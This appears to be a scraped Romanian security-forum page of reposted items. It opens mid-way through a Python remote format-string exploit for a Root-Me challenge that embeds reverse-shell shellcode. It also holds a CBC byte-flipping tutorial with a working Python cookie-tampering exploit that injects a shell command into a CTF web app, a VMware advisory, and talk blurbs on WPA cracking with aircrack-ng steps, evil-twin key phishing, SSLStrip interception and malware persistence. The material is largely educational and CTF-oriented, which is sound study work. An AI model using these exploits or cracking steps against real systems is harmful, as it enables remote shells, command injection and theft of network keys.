( struct.pack ("<I", perror_got + 2), struct.pack ("<I", perror_got) ) # length calculation for correct address generation print '[+] Calculating lengths' landing1 = ((landing & 0xffff0000) >> 16) len1 = landing1 - len (padding + stackpop + pairs) + 3 # 3 for '%hn' len2 = (landing & 0xffff) - landing1 # construct format strings print '[+] Building perror_got patch format string' fmt_write_got = padding + stackpop + pairs + '%{0}u%hn'.format (len1) + '%{0}u%hn'.format (len2) print ' {0}'.format (fmt_write_got) # reverse shell to port 11111 print '[+] Building ssock patch format string' payload = "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a" payload += "\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd" payload += "\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01" payload += "\x01\x66\x68" + lport + "\x66\x6a\x02\x89\xe1" payload += "\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b" payload += "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" payload += "\x6e\x89\xe3\x31\xc9\xcd\x80" print '[+] payload = {0}'.format (payload) fmt_write_ssock = padding + stackpop + struct.pack ("<I", ssock_addr) * 2 + '%10u%hn' # too much nopsled cause the payload to be cutted off, need to calculate better # nopsled = (1023 - len (fmt_write_ssock)) * '\x90' nopsled = 100 * '\x90' fmt_write_ssock += nopsled + payload print ' {0}'.format (fmt_write_ssock) # format string write # payload + format will patch ssock to cause accept to fail, exit and go to our shellcode if len (sys.argv) == 4: print '[+] Patching exit.got function pointer' csock = socket (AF_INET, SOCK_STREAM) csock.connect ( (host, port) ) csock.send ( fmt_write_got ) csock.close () print '[+] Triggering payload!!!' csock = socket (AF_INET, SOCK_STREAM) csock.connect ( (host, port) ) csock.send ( fmt_write_ssock ) csock.close () print '[+] You should have gotten a reverse shell, if not, the exploit failed' print 'Bye' [h=2]Conclusion[/h] As you could see, as always, with dedication come the prize: a full reliable remote exploit for rbinary2. Anyhow, this post was to illustrate how we can make use of infoleak for bettering the reliability of an exploit. In this case, if ASLR+DEP+Full PIE were to be activated, it would still be exploitable thanks to the infoleak. This is left as an exercise to the readers. For those wanting to train more, you could also bruteforce the format string stack pointer offset remotely and completely automate the format string construction. And also, I've heard multiple times: this paper is so ooold, useless! It's old sure, but the more techniques you have in your bag, the more you will be prepared. We never know, sometime old and simple techniques are the most effecient to use. I hope you enjoyed this article, Cheers, m_101 Reference: - The challenge: Remote Binary 2 - The bible on format string exploitation: Format Strings by TESO Publié par m_101 Sursa: Binary world for binary people : [Root-Me] Remote Binary 2 - An advanced remote format string example

VMware Security Advisory 2013-0010 VMware Security Advisory 2013-0010 - VMware Workstation and VMware Player address a vulnerability in the vmware-mount component which could result in a privilege escalation on linux-based host machines. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ----------------------------------------------------------------------- VMware Security Advisory Advisory ID: VMSA-2013-0010 Synopsis: VMware Workstation host privilege escalation vulnerability Issue date: 2013-08-22 Updated on: 2013-08-22 (initial advisory) CVE numbers: CVE-2013-1662 - ------------------------------------------------------------------------ 1. Summary VMware Workstation and VMware Player address a vulnerability in the vmware-mount component which could result in a privilege escalation on linux-based host machines. 2. Relevant releases VMware Workstation 9.x VMware Workstation 8.x VMware Player 5.x VMware Player 4.x 3. Problem Description a. VMware mount privilege escalation VMware Workstation and Player contain a vulnerability in the handling of the vmware-mount command. A local malicious user may exploit this vulnerability to escalate their privileges to root on the host OS. The issue is present when Workstation or Player are installed on a Debian-based version of Linux. The vulnerability does not allow for privilege escalation from the Guest Operating System to the host or vice-versa. This means that host memory can not be manipulated from the Guest Operating System. Workaround A workaround for the issue is to remove the setuid bit from vmware-mount: # chmod u-s /usr/bin/vmware-mount This workaround is relevant for both Workstation and Player. VMware would like to thank Tavis Ormandy from the Google Security Team for reporting this issue to us. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-1662 to this issue. Column 4 of the following table lists the action required to remediate the vulnerability in each release, if a solution is available. VMware Product Running Replace with/ Product Version on Apply Patch ============= ======= ======= ================= Workstation 9.x Linux * See section 4. Solution Workstation 8.x Linux * See section 4. Solution Player 4.x Linux * See section 4. Solution Player 5.x Linux * See section 4. Solution Fusion any Mac/OS Not affected ESXi any ESXi Not affected ESX any ESX Not affected * The issue is present if Workstation or Player is installed on a Debian-based version of Linux (e.g. Ubuntu). 4. Solution Please review the patch/release notes for your product and version and verify the checksum of your downloaded file. VMware Workstation 9.x, 8.x --------------------------- https://www.vmware.com/go/downloadworkstation To remediate the issue, replace /usr/bin/vmware-mount on the host with a fixed version present in the Drivers and Tools tab of the download page for Workstation listed above. VMware Player 5.x, 4.x --------------------------- https://www.vmware.com/go/downloadplayer To remediate the issue, replace /usr/bin/vmware-mount on the host with a fixed version present in the Drivers and Tools tab of the download page for Player listed above. 5. References http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1662 - ----------------------------------------------------------------------- 6. Change log 2013-08-22 VMSA-2013-0010 Initial security advisory in conjunction with the release of an updated version of vmware-mount for Workstation 8 and Workstation 9 and Player 4 and Player 5. ----------------------------------------------------------------------- 7. Contact E-mail list for product security notifications and announcements: http://lists.vmware.com/cgi-bin/mailman/listinfo/security-announce This Security Advisory is posted to the following lists: * security-announce at lists.vmware.com * bugtraq at securityfocus.com * full-disclosure at lists.grok.org.uk E-mail: security at vmware.com PGP key at: http://kb.vmware.com/kb/1055 VMware Security Advisories http://www.vmware.com/security/advisories VMware security response policy http://www.vmware.com/support/policies/security_response.html General support life cycle policy http://www.vmware.com/support/policies/eos.html VMware Infrastructure support life cycle policy http://www.vmware.com/support/policies/eos_vi.html Copyright 2013 VMware Inc. All rights reserved. -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.8.3 (Build 4028) Charset: utf-8 wj8DBQFSFu9lDEcm8Vbi9kMRAu32AKCPNTg8o3hnMUqce2gbqHqSc9ME0wCgmO8+ I3i2ZZfaFD8Yyur2Tr47cWk= =wKD7 -----END PGP SIGNATURE----- Nu e exploit, e doar un advisory, daca cineva gaseste mai multe detalii il rog sa posteze aici. Sursa: VMware Security Advisory 2013-0010 ? Packet Storm

Episod nou:

Faci multi-factor auth prin optical port :->

CBC Byte Flipping Attack—101 Approach Daniel Regalado August 22, 2013 As usual, there are some explanations about this attack out there (see references at the end), but some knowledge is required to understand it properly, so here I will describe, step by step, how to perform this attack. Purpose of the Attack: To change a byte in the plaintext by corrupting a byte in the ciphertext. Why? To bypass filters by adding malicious chars like a single quote, or to elevate privileges by changing the ID of the user to admin, or any other consequence of changing the plaintext expected by an application. Introduction First of all, let’s start understanding how CBC (cipher-block chaining) works. A detailed explanation can be found here: Block cipher mode of operation - Wikipedia, the free encyclopedia But I will only explain what is needed to understand the attack. Encryption process Plaintext: The data to be encrypted. IV: A block of bits that is used to randomize the encryption and hence to produce distinct ciphertexts even if the same plaintext is encrypted multiple times. Key: Used by symmetric encryption algorithms like AES, Blowfish, DES, Triple DES, etc. Ciphertext: The data encrypted. An important point here is that CBC works on a fixed-length group of bits called a block. In this blog, we will use blocks of 16 bytes each. Since I hate mathematical formulas, below are mine: Ciphertext-0 = Encrypt(Plaintext XOR IV)—Just for the first block. Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—For second and remaining blocks. Note: As you can see, the ciphertext of the previous block is used to generate the next one. Decryption Process Plaintext-0 = Decrypt(Ciphertext) XOR IV—Just for the first block. Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1—For second and remaining blocks. Note: The Ciphertext-N-1 is used to generate the plaintext of the next block; this is where the byte flipping attack comes into play. If we change one byte of the Ciphertext-N-1 then, by XORing with the net decrypted block, we will get a different plaintext! You got it? Do not worry, we will see a detailed example below. Meanwhile, below is a nice diagram explaining this attack: Example: CBC Blocks of 16 bytes Let’s say we have this serialized plaintext: a:2:{s:4:”name”;s:6:”sdsdsd”;s:8:”greeting”;s:20:”echo ‘Hello sdsdsd!’”;} Our target is to change the number 6 at “s:6” to number “7?. The first thing we need to do is to split the plaintext into 16-byte chunks: Block 1: a:2:{s:4:”name”; Block 2 s:6:”sdsdsd”;s:8 <<<—–target data-blogger-escaped-div=”" data-blogger-escaped-here=”"> Block 3: :”greeting”;s:20: Block 4: “echo ‘Hello sd Block 5: sdsd!’”;} So our target character is located at block 2, which means that we need to change the ciphertext of block 1 to change the plaintext of the second block. A rule of thumb is that the byte you change in a ciphertext will ONLY affect a byte at the same offset of next plaintext. Our target is at offset 2: [0] = s [1] = : [2] = 6 Therefore we need to change the byte at offset 2 of the first ciphertext block. As you can see in the code below, at line 2 we get the ciphertext of the whole data, then at line 3 we change the byte of block 1 at offset 2, and finally we call the decryption function. 1. $v = “a:2:{s:4:”name”;s:6:”sdsdsd”;s:8:”greeting”;s:20:”echo ‘Hello sdsdsd!’”;}”; 2. $enc = @encrypt($v); 3. $enc[2] = chr(ord($enc[2]) ^ ord(“6?) ^ ord (“7?)); 4. $b = @decrypt($enc); After running this code, we are able to change number 6 to 7: But, how did we change the byte to the value we wanted at line 3? Based on the decryption process described above, we know that A = Decrypt(Ciphertext) is XOR with B = Ciphertext-N-1 to finally get C = 6. Which is equal to: C = A XOR B So the only value we do not know is A (block cipher decryption); with XOR we can easily get that value by doing: A = B XOR C And finally, A XOR B XOR C is equal to 0. With this formula, we can set our own value by adding it at the end of the XOR calculation, like this: A XOR B XOR C XOR “7? will give us 7 in the plaintext at offset 2 on the second block. Below is the PHP source code so that you can replicate it: define('MY_AES_KEY', "abcdef0123456789");function aes($data, $encrypt) { $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, ''); $iv = "1234567891234567"; mcrypt_generic_init($aes, MY_AES_KEY, $iv); return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data); } define('MY_MAC_LEN', 40); function encrypt($data) { return aes($data, true); } function decrypt($data) { $data = rtrim(aes($data, false), "\0"); return $data; } $v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}"; echo "Plaintext before attack: $v\n"; $b = array(); $enc = array(); $enc = @encrypt($v); $enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7")); $b = @decrypt($enc); echo "Plaintext AFTER attack : $b\n"; Try changing the character from “7? to “A” or something else to see how it works. Exercise 2: Now that we understood how this attack works, let’s do a more real-world exercise. Some weeks ago the CTF competition was hosted by the team Eindbazen and there was a Web 400 challenge called “Moo!” You can see all the details of this task at the end of the blog in References 2 and 3; here I am just going to describe the final steps of breaking CBC. We were provided with the source code for analysis. Below is the chunk important for this exercise: Basically, you will submit any text in the POST parameter “name” and the app will respond with a “Hello” message concatenating the text submitted at the end, but two things happen before the message is printed: 1. The POST “name” parameter is filtered out by the PHP escapeshellarg() function (which mainly will escape single quotes to prevent injecting malicious commands) and then it is stored in the Array->greeting field to finally create a cookie encrypted with this value. 2. The content of Array->greeting field is executed via PHP passthru() function, which is used to execute system commands. 3. Finally, any time the page is accessed, if the cookie already exists, it will be decrypted and its content executed via passthru() function. Here is where our CBC attack will give us a different plaintext, as explained in previous section. So, I tried to inject the string below into the POST parameter “name”: name = ‘X‘ + ‘;cat *;#a’ I added the char “X” which is the one to be replaced with a single quote via CBC byte flipping attack, then the command to be executed, ;cat *;, and finally an “#“, which is interpreted as a comment by the shell so that we do not get problems with the last single quote inserted by escapeshellarg() function; therefore our command gets executed successfully. After calculating the exact offset of previous ciphertext block byte to be changed (offset 51), I executed the code below to inject a single quote: pos = 51; val = chr(ord(‘X‘) ^ ord(“‘“) ^ ord(cookie[pos])) exploit = cookie[0:pos] + val + cookie[pos + 1:] I am altering the cookie, since it has the whole ciphertext. Finally, I got this result: First, we can see in yellow that our “X” was successfully changed to a single quote in the second block but, since the first block was altered, it got garbage inserted (in green) which causes an error when trying to unserialize() the data (in red) and, therefore, the app did not even try to execute our injection. How to Fix It? Basically, we need to play with our injected data until we get garbage in the first block that does not cause any problem during unserialization. A way to get around it is by padding our malicious command with alphabetic chars. Therefore we come up with this injection string padding with multiple ‘z‘ before and after: name = ‘z’*17 + ‘X‘ + ‘;cat *;#‘ + ‘z’ *16 After sending above string, voila!!!, unserialize() does not complain about the garbage received and our shell command is executed successfully!!!! If you want to replicate this exercise, in the Appendix section there is the PHP code running on the server side and the Python script (a little bit modified from code provided by Daniel from hardc0de.ru, thanks!!!) to perform the exploit. Finally, I want to thank the guys from the references mentioned below for writing those excellent blogs. Referencies 1. CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto 2. http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/ 3. http://hardc0de.ru/2013/08/04/ebctf-web400/ Enjoy it! Appendix PHP code: ini_set('display_errors',1);error_reporting(E_ALL); define('MY_AES_KEY', "abcdef0123456789"); define('MY_HMAC_KEY',"1234567890123456" ); #define("FLAG","CENSORED"); function aes($data, $encrypt) { $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, ''); $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND); $iv = "1234567891234567"; mcrypt_generic_init($aes, MY_AES_KEY, $iv); return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data); } define('MY_MAC_LEN', 40); function hmac($data) { return hash_hmac('sha1', data, MY_HMAC_KEY); } function encrypt($data) { return aes($data . hmac($data), true); } function decrypt($data) { $data = rtrim(aes($data, false), "\0"); $mac = substr($data, -MY_MAC_LEN); $data = substr($data, 0, -MY_MAC_LEN); return hmac($data) === $mac ? $data : null; } $settings = array(); if (@$_COOKIE['settings']) { echo @decrypt(base64_decode($_COOKIE['settings'])); $settings = unserialize(@decrypt(base64_decode($_COOKIE['settings']))); } if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) { $settings = array( 'name' => $_POST['name'], 'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")), ); setcookie('settings', base64_encode(@encrypt(serialize($settings)))); #setcookie('settings', serialize($settings)); } $d = array(); if (@$settings['greeting']) { passthru($settings['greeting']); else { echo "</pre> <form action="\"?\"" method="\"POST\"">\n"; echo " What is your name? \n"; echo "<input type="\"text\"" name="\"name\"" />\n"; echo "<input type="\"submit\"" name="\"submit\"" value="\"Submit\"" />\n"; echo "</form> <pre> \n"; } ?> Exploit: #!/usr/bin/pythonimport requests import sys import urllib from base64 import b64decode as dec from base64 import b64encode as enc url = 'http://192.168.184.133/ebctf/mine.php' def Test(x): t = "echo 'Hello %s!'" % x s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40) for i in xrange(0,len(s),16): print s[i:i+16] print '\n' def Pwn(s): global url s = urllib.quote_plus(enc(s)) req = requests.get(url, cookies = {'settings' : s}).content # if req.find('works') != -1: print req # else: # print '[-] FAIL' def GetCookie(name): global url d = { 'name':name, 'submit':'Submit' } h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers if h.has_key('set-cookie'): h = dec(urllib.unquote_plus(h['set-cookie'][9:])) #h = urllib.unquote_plus(h['set-cookie'][9:]) #print h return h else: print '[-] ERROR' sys.exit(0) #a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";} #a:2:{s:4:"name"; #s:10:"X;cat *;#a #";s:8:"greeting" #;s:24:"echo 'Hel #lo X;cat *;#a!'" #;} #a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";} #a:2:{s:4:"name"; #s:42:"zzzzzzzzzz #zzzzzzzX;cat *;# #zzzzzzzzzzzzzzzz #";s:8:"greeting" #;s:56:"echo 'Hel #lo zzzzzzzzzzzzz #zzzzX;cat *;#zzz #zzzzzzzzzzzzz!'" #;} #exploit = 'X' + ';cat *;#a' #Test case first, unsuccess exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success #exploit = "______________________________________________________; cat *;#" #Test(exploit) cookie = GetCookie(exploit) pos = 100; #test case success #pos = 51; #test case first, unsuccess val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos])) exploit = cookie[0:pos] + val + cookie[pos + 1:] Pwn(exploit) Sursa: http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/

SELinux FOR RED HAT DEVELOPERS HOW TO USE SELinux POLICIES TO ENHANCE DATACENTER SECURITY This paper discusses how application developers can use SELinux to strengthen datacenter security. While system administrators can take many steps to secure systems, developers can contribute by providing appropriate SELinux policies as part of the RPM (RPM Package Manager) containing their application installation. Download: http://www.redhat.com/rhecm/rest-rhecm/jcr/repository/collaboration/jcr:system/jcr:versionStorage/e906c3960a0526014bf0b4474cffa022/1/jcr:frozenNode/rh:pdfFile.pdf

Aia e bere pentru barbati ba

[h=1]MiTM - SSL Strip and Ettercap in BackTrack5[/h] his video demonstrates the use of a man in the middle attack using BackTrack 5 and SSLStrip to hijack https:// traffic. Information contained is for educational purposes only

Da, versiunea pentru n00bi

[h=1]Hacking WPA 2 Key - Evil Twin Method (No Bruteforce)[/h] In an ealier post, we've seen how to crack WPA-2 network keys using a dictionary. While that technique works, it could take an awful long time, especially when brute forcing. On this technique, named 'Evil Twin', we take a different perspective to the attack. Using a powerful long range wireless card (Alfa AWUS036NH), we clone the target network to confuse our victim. Then, we deauthenticate the victim from his own wireless network and wait until he connects to our access point - which looks exactly like his. When the victim connects, he is redirected to a service page asking for the WPA-2 key in order to access the internet. As soon as we get the key, you can either allow the victim to use the network (maybe improvise some password sniffing?) or just bring it down manually. For this example I created a service page, started apache and mysql to store the keys typed in a database. Song: BGNS - Sasas ARTICLE & FILES: http://technicdynamic.com/2011/12/hac... Check out my recommended wireless adapters!: http://www.technicdynamic.com/store/#... ---------- This video was produced in experimental laboratories under controlled circumstances; You can use these techniques only where you are authorized to do so legally. The author and/or contributors will not take responsibility for the viewer's actions.

[h=1]Hacktivity 2012 - Vivek Ramachandran - Cracking WPA/WPA2 Personal and Enterprise for Fun and Profit[/h] https://www.hacktivity.com/ In this talk, we will explore the bleeding edge techniques used to compromise and break into WPA/WPA2 networks - both Personal and Enterprise! We will cover attacks on PSK, Hole 196, WPS, WPA/WPA2 Enterprise. You will learn how to create honeypot and MITM attacks setups for PSK, PEAP, EAP-TTLS etc. and to leverage the cloud to crack WPA handshakes and break MS-CHAPv2 which is the inner authentication protocol for most PEAP and EAP-TTLS networks. You will walk away with all the knowledge you need to secure into most Enterprise Wi-Fi networks!

[h=1]How to crack a WPA encypted wifi Network with Backtrack 5[/h] Please donate any amount of money to my paypal which is kivi12k@aol.com This is a tutorial on how to crack a WPA encrypted password. This information should only be used for education purposes. Steps: 1)airmon-ng 2)airmon-ng start wlan0 3)airodump-ng mon0 4)airodump-ng -c (channel) -w (file name) --bssid (bssid) mon0 5)aireplay-ng -0 5 -a (bssid) mon0 6)aircrack-ng (filename)*.cap -w (dictionary location) If you need any help feel free to PM me or shoot me an instant message, a donation would also be appreciated. You can instant message me at: AIM - kivi12k@aol.com WINDOWS MESSENGER - kivi12k@hotmail.com YAHOO MESSENGER - kivi12k@ymail.com

[h=1]PacSec 2011 Eric Filiol - Dynamic Cryptographic Backdoors to take over the TOR network[/h] secwest - World Emerging Security Technology. Video from PacSec, November 2011, Tokyo, Eric Filiol outlines potential threats to the TOR anonymity network from compromised cryptographic functions. (Reminder: the CanSecWest 2012 Call for Papers closes next week. See CanSecWest Applied Security Conference: Vancouver, British Columbia, Canada)

[h=1]DEFCON 2012 - Hacking Smart Meters[/h]DEFCON 2012 - Hacking Smart Meters - Part 1 of 5: DEFCON 2012 - Hacking Smart Meters - Part 2 of 5: DEFCON 2012 - Hacking Smart Meters - Part 3 of 5: DEFCON 2012 - Hacking Smart Meters - Part 4 of 5: DEFCON 2012 - Hacking Smart Meters - Part 5 of 5: "Looking Into the Eye of the Meter - When you look at a Smart Meter, it practically winks at you. Their Optical Port calls to you. It calls to criminals as well. But how do criminals interact with it? We will show you how they look into the eye of the meter. More specifically, this presentation will show how criminals gather information from meters to do their dirty work. From quick memory acquisition techniques to more complex hardware bus sniffing, the techniques outlined in this presentation will show how authentication credentials are acquired. Finally, a method for interacting with a meter's IR port will be introduced to show that vendor specific software is not necessary to poke a meter in the eye."

[h=1]DEFCON 19: Hacking Google Chrome OS (w speaker)[/h] Speakers: Kyle 'Kos' Osborn Application Security Specialist, WhiteHat Security | Matt Johanson Application Security Specialist, WhiteHat Security Google recently announced Chrome OS powered computers, called Chromebooks, at Google I/O and the company is getting ready to market them to businesses as well as consumers. What's different about Chrome OS and Chromebooks, other than the entire user-experience taking place exclusively in a Web browser (Google Chrome), is everything takes place in the cloud. Email, document writing, calendaring, social networking - everything. From a security perspective this means that all website and Web browser attack techniques, such as like Cross-Site Scripting, Cross-Site Request, and Clickjacking, have the potential of circumventing Chrome OS's security protections and exposing all the users data. Two members of the WhiteHat Security's Threat Research Center, Matt Johansen and Kyle Osborn, have spent months hacking away on Google's Cr-48 prototype laptops. They discovered a slew of serious and fundamental security design flaws that with no more than a single mouse-click may victimize users by: • Exposing of all user email, contacts, and saved documents. • Conduct high speed scans their intranet work and revealing active host IP addresses. • Spoofing messaging in their Google Voice account. • Taking over their Google account by stealing session cookies, and in some case do the same on other visited domains. While Chrome OS and Chromebooks has some impressive and unique security features, they are not all encompassing. Google was informed of the findings, some vulnerabilities were addressed, bounties generously awarded, but many of the underlying weaknesses yet remain -- including for evil extensions to be easily made available in the WebStore, the ability for payloads to go viral, and javascript malware survive reboot. With the cloud and web-based operating systems poised to make an impact on our computing future, Matt and Kyle ready to share all their never-before-seen research through a series of on-stage demonstrations. For more information visit: DEF CON

[h=1]Shmoocon 2013: Wipe The Drive!!! - Techniques For Malware Persistence[/h] For more information and to download the video visit: ShmooCon 2013 - February 15-17 - ShmooCon 2013 Playlist Shmoocon 2013: Shmoocon 2013 - YouTube Speakers: Mark Baggett | Jake Williams Let's face it: sooner or later you will be owned. As a security professional, you (should) know that the best plan is to format the system drive, reinstall the operating system, and start over. But management has another plan. They know that rebuilding infrastructure from scratch involves costly downtime. The temptation to remove the obvious malware and declare the system clean is strong. In session, we'll demonstrate eight less than obvious techniques that can be used to install secondary persistence techniques on a compromised Windows system. The point of the session is not to address specific techniques that can be used as secondary persistence mechanisms for malicious actors. The idea is to conclusively demonstrate that techniques of this type exist that hide deep in the registry and other system settings. We will show that these techniques hide even from memory forensics, the holy grail of "clean system" confirmation. Not that we consider it a substitute for formatting and re-installing the operating system, but we will be releasing a script that checks for the use of these specific techniques.

[h=3] [/h][h=1]Mohamad Yaich [/h][h=1]Buffer Overflow Primer Part 1 (Smashing the Stack)[/h] [h=1]Buffer-Overflow-Primer-Part-2-(Writing-Exit-Shellcode)[/h] [h=1]Buffer-Overflow-Primer-Part-3-(Executing-Shellcode)[/h] [h=1]Buffer Overflow Primer Part 4 (Disassembling Execve)[/h] [h=1]Buffer-Overflow-Primer-Part-5-(Shellcode-for-Execve)[/h] [h=1]Buffer-Overflow-Primer-Part-6-(Exploiting-a-Program)[/h] [h=1]Buffer-Overflow-Primer-Part-7-(Exploiting-a-Program-Demo)[/h] [h=1]Buffer-Overflow-Primer-Part-8-(Return-to-Libc-Demo)[/h] Sursa: https://www.youtube.com/user/TunisiaViP/videos?sort=p&view=0&shelf_index=1

Andrew Whitaker [h=1]SEH Exploits Part 1[/h] [h=1]SEH Exploits Part 2 of 2[/h] SEH Exploit using Python, Ollydbg, SafeSEH Plug-in, and Metasploit.